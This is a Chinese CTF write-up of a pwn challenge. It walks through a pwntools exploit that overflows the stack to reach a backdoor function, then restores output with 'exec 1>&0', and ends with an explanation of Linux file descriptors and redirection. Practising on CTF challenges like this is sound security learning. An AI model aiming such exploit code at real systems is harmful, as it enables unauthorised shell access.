一个wp和linux文件描述符及重定向

在做题过程中遇到了好几次重定向,在此简单了解一下。

checksec一下

64位,开启了NX

丢到ida里

看到关闭了标准输出
并且存在栈溢出,又看到了后门函数

exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
from pwn import *

context(arch = 'amd64', os = 'linux', log_level = 'debug')

io = remote('node5.anna.nssctf.cn',24144)
#io = process('./vuln')

elf = ELF('./vuln')

backdoor = elf.symbols['b4ckd0or']
pop_rdi_ret = 0x0000000000401233
ret = 0x000000000040101a

payload = cyclic(0x10 + 0x08) + p64(ret) + p64(backdoor)

io.sendline(payload)
io.sendline('exec 1>&0')
io.interactive()

打通


  • I/O重定向通常与FD有关,shell的FD通常为10个,即0~9
  • 三个常用FD(默认与keyboard、monitor、monitor有关)
FD 说明
0 stdin,标准输入
1 stdout,标准输出
2 stderr,标准错误输出

0是标准输入,1是标准输出,2是标准错误。如果此时再打开一个新的文件,它的文件描述符就是3。
用 < 来改变读进的数据信道(stdin),使之从指定的档案读进
用 > 来改变送出的数据信道(stdout, stderr),使之输出到指定的档案

我们可以修改文件描述符的指向,也就是重定向,例如:exec 1>myputout,而exp中的exec 1>&0,将标准输出重定位到标准输入上,这样就相当于重新启动了标准输出。

参考文章:https://xstarcd.github.io/wiki/shell/exec_redirect.html